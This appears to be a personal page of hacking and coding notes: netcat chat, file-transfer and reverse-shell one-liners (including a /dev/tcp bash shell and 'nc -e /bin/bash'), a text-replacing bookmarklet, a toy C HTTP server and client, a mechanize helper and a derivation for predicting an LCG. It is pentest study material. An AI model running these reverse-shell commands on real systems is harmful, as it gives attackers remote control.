Netcat Basic Usage

Method 1 simple two-way netcat comm channel:

ALICE:	nc -vlp 5555

BOB:	nc 192.168.0.1 5555

Method 2 command line:

ALICE:	nc -vlp 5555

BOB:	nc 192.168.0.1 5555 -e /bin/bash

ALICE:	python3 -c 'import pty; pty.spawn("/bin/bash")'

Method 3 Bob does not have netcat:

ALICE: nc -vlp 5555 
 
BOB: bash -i >& /dev/tcp/<alice.ip>/<port> 0>&1

Method 4 Bob has Windows machine:

ALICE:	nc -vlp 5555

BOB:	ncat 192.168.0.1 5555 -e cmd.exe

Simple file transfer from Alice to Bob:

ALICE:	cat somefile.txt | nc -lp 5555

BOB:	nc 192.168.0.1 5555 > received.txt

might need:

ALICE:	cat somefile.txt < /dev/null | nc -lp 5555

Sources:

“Netcat Reverse Shells And How They Are Used By Pentesters.” InfoSecAdemy. Accessed May 31, 2023. Available at: https://www.infosecademy.com/netcat-reverse-shells/

manav014. (2020, June 30). “How to Create Reverse Shells with Netcat in Kali Linux?” GeeksforGeeks. Available at: https://www.geeksforgeeks.org/how-to-create-reverse-shells-with-netcat-in-kali-linux/. Accessed May 31, 2023.

https://superuser.com/questions/98089/sending-file-via-netcat

JS modify text in web page

This code modifies text of your choice in a web page in your browser. It first makes a list of all elements in a page. Then it checks to see if user input target text is in the elements text field. If so, the target text is replaced with user input replacement text. Small target text like “index” can break the page, so is better to be specific, for example: “News from the White House”. Also is case sensitive.

function replaceo()
{
  p = prompt("Hello,\r\nPlease enter text text to replace: ");
  q = prompt("Please enter replacement text: ");
  Q = document.getElementsByTagName("*");
  len = Q.length;

  for(i = len-1; i >= 0; i--)
  {
    try
    {
      if (Q[i].innerText.includes(p))
      {
        Q[i].innerText = Q[i].innerText.replace(p, q);
      }	
    } 
    catch (e)
    {
      console.log('minor fail');
    }
  }
}

A concise version that you can save as a script inside a bookmark:

javascript:function replaceo(){p = prompt("Hello,\r\nPlease enter text text to replace: ");q = prompt("Please enter replacement text: ");Q = document.getElementsByTagName("*");len = Q.length;for(i = len-1; i >= 0; i--){try{if (Q[i].innerText.includes(p)){Q[i].innerText = Q[i].innerText.replace(p, q);}} catch (e){console.log('minor fail');}}}replaceo();

C Server and Client pair

The following examples show server and a client programs written in C. Source cited in first example.

Server:

/**
 * Name:	server.c
 * Purpose:	Implements a simple server in C
 * Coder:	Michael Root
 * Date:	2022.12.04
 * Sources:	http://www.cs.tau.ac.il/~eddiea/samples/TCP-Simple/tcp-simple-server.c.html
 */

#include <arpa/inet.h>
#include <assert.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include "yow.h"

#define BACKLOG 10	// how many pending connections queue will hold

int main(void)
{
        bannero();

	int MYPORT;
	printf("Please enter port number: ");
	scanf("%d", &MYPORT);
	printf("Server will run on port %d\n", MYPORT);

	int sockfd, new_fd;		// listen on sock_fd, new connection on new_fd
	struct sockaddr_in my_addr;	// my address information
	struct sockaddr_in their_addr;	// connector's address information
	int sin_size;

	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
	{
		perror("socket");
		exit(1);
	}
	printf("...doing techy stuff\n");

	my_addr.sin_family = AF_INET;		// host byte order
	my_addr.sin_port = htons(MYPORT);	// short, network byte order
	my_addr.sin_addr.s_addr = INADDR_ANY;	// auto-fill with my IP
	bzero(&(my_addr.sin_zero), 8);		// zero the rest of the struct

	if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1)
	{
		perror("bind");
		exit(1);
	}

	if (listen(sockfd, BACKLOG) == -1)
	{
		perror("listen");
		exit(1);
	}

	printf("[+] entering accept() loop...\n");

	while(1)	// main accept() loop
	{
		sin_size = sizeof(struct sockaddr_in);
		if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1)
		{
			perror("accept");
			continue;
		}
		printf("server: got connection from %s\n", inet_ntoa(their_addr.sin_addr));

		// experimenting here with getting user request
		printf("[*] getting user request...\n");

		int n;
		char bufferino[4096];
		bzero(bufferino, 4096);
		n = read(new_fd, bufferino, 4095);
		if( n < 0 )
		{
			printf("ERROR reading from socket\n");
		}
		printf("Here is the message: %s\n", bufferino);

		if (!fork())	// this is the child process
		{
//			char stringos[] = "\n\033[1;31mYou have reached the Server of Doom!\033[0m\n";
char XXXstringos[] = "stringosHTTP/1.1 200 OK\n\
Date: Mon, 27 Jul 2009 12:28:53 GMT\n\
Server: Apache/2.2.14 (Win32)\n\
Last-Modified: Wed, 22 Jul 2009 19:15:56 GMT\n\
Content-Length: 88\n\
Content-Type: text/html\n\
Connection: Closed\n\n";

			char stringos[] = "HTTP/1.1 200 OK\r\n\r\n\
			<head>\
				<title>Mike is Man!</title>\
			</head>\
			<body>\
				<h1>Holy shit it works!</h1>\
				<a href=\"https://www.kittenwar.com\">click here</a>\
				<script>\
					confirm(\"[+] IMPORTANT: Please confirm Mike is the man\");\
				</script>\
			</body>\
			";


			if (send(new_fd, stringos, strlen(stringos), 0) == -1)
			{
				perror("send");
			}
			close(new_fd);
			exit(0);
		}
		close(new_fd);	// parent doesn't need this

		while(waitpid(-1, NULL, WNOHANG) > 0);	// clean up child processes
	}
	return 0;
}

Client:

/**
 * Name:	browser.c
 * Purpose:	Implements a simple client browser in C
 * Coder:	Michael Root
 * Date:	2022.12.04
 * Sources:	http://www.cs.tau.ac.il/~eddiea/samples/TCP-Simple/tcp-simple-server.c.html
 */
#include <arpa/inet.h>
#include <assert.h>
#include <netdb.h> /* getprotobyname */
#include <netinet/in.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

#define _XOPEN_SOURCE 700

int main(int argc, char** argv) {
	char buffer[BUFSIZ];
	enum CONSTEXPR { MAX_REQUEST_LEN = 1024};
	char request[MAX_REQUEST_LEN];
	char request_template[] = "GET / HTTP/1.1\r\nHost: %s\r\nCookie:funky dunkily doo!\r\n\r\n";
	struct protoent *protoent;
	in_addr_t in_addr;
	int request_len;
	int socket_file_descriptor;
	ssize_t nbytes_total, nbytes_last;
	struct hostent *hostent;
	struct sockaddr_in sockaddr_in;

	// prompt user for URL and PORT number
	char hostname[64];
	printf("Please enter HTTP ip address: ");
	scanf("%s", &hostname);
	int server_port;
	printf("Please enter server port:     ");
	scanf("%d", &server_port);

	request_len = snprintf(request, MAX_REQUEST_LEN, request_template, hostname);
	if (request_len >= MAX_REQUEST_LEN)
	{
		fprintf(stderr, "request length large: %d\n", request_len);
		exit(EXIT_FAILURE);
	}

	/* Build the socket. */
	protoent = getprotobyname("tcp");
	if (protoent == NULL)
	{
		perror("getprotobyname");
		exit(EXIT_FAILURE);
	}

	socket_file_descriptor = socket(AF_INET, SOCK_STREAM, protoent->p_proto);
	if (socket_file_descriptor == -1)
	{
		perror("socket");
		exit(EXIT_FAILURE);
	}

	/* Build the address. */
	hostent = gethostbyname(hostname);
	if (hostent == NULL)
	{
		fprintf(stderr, "error: gethostbyname(\"%s\")\n", hostname);
		exit(EXIT_FAILURE);
	}

	in_addr = inet_addr(inet_ntoa(*(struct in_addr*)*(hostent->h_addr_list)));
	if (in_addr == (in_addr_t)-1)
	{
		fprintf(stderr, "error: inet_addr(\"%s\")\n", *(hostent->h_addr_list));
		exit(EXIT_FAILURE);
	}

	sockaddr_in.sin_addr.s_addr = in_addr;
	sockaddr_in.sin_family = AF_INET;
	sockaddr_in.sin_port = htons(server_port);

	/* Actually connect. */
	if (connect(socket_file_descriptor, (struct sockaddr*)&sockaddr_in, sizeof(sockaddr_in)) == -1)
	{
		perror("connect");
		exit(EXIT_FAILURE);
	}

	/* Send HTTP request. */
	nbytes_total = 0;
	while (nbytes_total < request_len)
	{
		nbytes_last = write(socket_file_descriptor, request + nbytes_total, request_len - nbytes_total);
		if (nbytes_last == -1)
		{
			perror("write");
			exit(EXIT_FAILURE);
		}
		nbytes_total += nbytes_last;
	}

	/* Read the response. */
	fprintf(stderr, "debug: before first read\n");
	while ((nbytes_total = read(socket_file_descriptor, buffer, BUFSIZ)) > 0)
	{
		fprintf(stderr, "debug: after a read\n");
		write(STDOUT_FILENO, buffer, nbytes_total);
	}

	fprintf(stderr, "debug: after last read\n");
	if (nbytes_total == -1)
	{
		perror("read");
		exit(EXIT_FAILURE);
	}

	close(socket_file_descriptor);
	exit(EXIT_SUCCESS);
}

And here is a cool skull to use for a banner:

// This ASCII banner skull image was copied from:
// http://www.ascii-art.de/ascii/s/skull.txt, creator unknown

int bannero()
{
	printf("\033[1;31m\n");
	printf("     .                                                      .\n");
	printf("        .n                   .                 .                  n.\n");
	printf("  .   .dP                  dP                   9b                 9b.    .\n");
	printf(" 4    qXb         .       dX                     Xb       .        dXp     t\n");
	printf("dX.    9Xb      .dXb    __                         __    dXb.     dXP     .Xb\n");
	printf("9XXb._       _.dXXXXb dXXXXbo.                 .odXXXXb dXXXXb._       _.dXXP\n");
	printf(" 9XXXXXXXXXXXXXXXXXXXVXXXXXXXXOo.           .oOXXXXXXXXVXXXXXXXXXXXXXXXXXXXP\n");
	printf("  `9XXXXXXXXXXXXXXXXXXXXX'~   ~`OOO8b   d8OOO'~   ~`XXXXXXXXXXXXXXXXXXXXXP'\n");
	printf("    `9XXXXXXXXXXXP' `9XX'          `98v8P'          `XXP' `9XXXXXXXXXXXP'\n");
	printf("        ~~~~~~~       9X.          .db|db.          .XP       ~~~~~~~\n");
	printf("                        )b.  .dbo.dP'`v'`9b.odb.  .dX(\n");
	printf("                      ,dXXXXXXXXXXXb     dXXXXXXXXXXXb.\n");
	printf("                     dXXXXXXXXXXXP'   .   `9XXXXXXXXXXXb\n");
	printf("                    dXXXXXXXXXXXXb   d|b   dXXXXXXXXXXXXb\n");
	printf("                    9XXb'   `XXXXXb.dX|Xb.dXXXXX'   `dXXP\n");
	printf("                     `'      9XXXXXX(   )XXXXXXP      `'\n");
	printf("                              XXXX X.`v'.X XXXX\n");
	printf("                              XP^X'`b   d'`X^XX\n");
	printf("                              X. 9  `   '  P )X\n");
	printf("                              `b  `       '  d'\n");
	printf("                               `             '\n");
	printf("_______________________________________________________________________________\n\n");
	printf("                    [+] Welcome to the Server of DOOM! [+]\n");
	printf("_______________________________________________________________________________\n");
	printf("\033[0m\n");
        return 0;
}

Sources:

http://www.cs.tau.ac.il/~eddiea/samples/TCP-Simple/tcp-simple-server.c.html (2002)

http://www.ascii-art.de/ascii/s/skull.txt (2003)

Command Line Interpreter for C

This is a simulated command line interpreter for C written in python. Basically, you just enter C commands that you would normally put in a C main() function. The program automatically inserts the commands into a C program template, and then compiles and runs the program automatically.

This example is running on Linux with gcc (Gnu C Compiler) installed.

Type ‘help’ for simple help menu. It’s meant just to quickly test sequences of C commands for learning purposes.

Demo is here: https://youtu.be/vA1irQxPzro

Code is here: https://github.com/michel-racine/Python-Projects

python3 mechanize browser with cookie handler

# mech_browser.py

import mechanize
import http.cookiejar

def browse():
  br = mechanize.Browser()
  cj = http.cookiejar.LWPCookieJar()
  br.set_cookiejar( cj )
  # optional:
  br.set_handle_refresh( mechanize._http.HTTPRefreshProcessor(), max_time=3 )
  br.addheaders = [( 'User-agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0' )]
  br.set_handle_redirect( True )
  br.set_handle_referer( True )
  br.set_handle_robots( False )
  # br.set_debug_http( True )
  return br, cj

def cload( br, cookiefile ):
  cj = http.cookiejar.LWPCookieJar()
  cj.load( cookiefile, ignore_discard=True, ignore_expires=True )
  br.set_cookiejar( cj )
  return br, cj

def csave( cj, cookiefile ):
  cj.save( cookiefile, ignore_discard=True, ignore_expires=True )
  return

def chelp():
  print("""
****************************************************************************
	'br' is mechanize browser instance
        'cj' is cookie jar instance

	chelp()			# this help menu
	browse()		# returns br, cj
 	cload( br, cookiefile ) # returns br, cj
	csave( cj, cookiefile )	# saves given cj to file
****************************************************************************
""")

Simple Linear Congruential Generator Solution


Given LCG with form:
x_n1 = a*x_n + c mod m
and variables:
x1, x2, x3, m
We can solve for a, c, x4

First we plug the values into the LCG equation to make 2 formulas:
1) x3 = a*x2 + c mod m
2) x2 = a*x1 + c mod m

Now we solve for a by subtracting the two equations, eliminating c:
x3 – x2 = a*x2 + c – a*x1 – c mod m
x3 – x2 = a(x2 – x1) mod m
a = (x3 – x2) / (x2 – x1) mod m

Next solve for c by substituting a into equation 1:
x3 = a*x2 + c mod m
c = x3 – a*x2 mod m

And finally solve x4 now that we have a, and c:
x4 = a*x3 + c mod m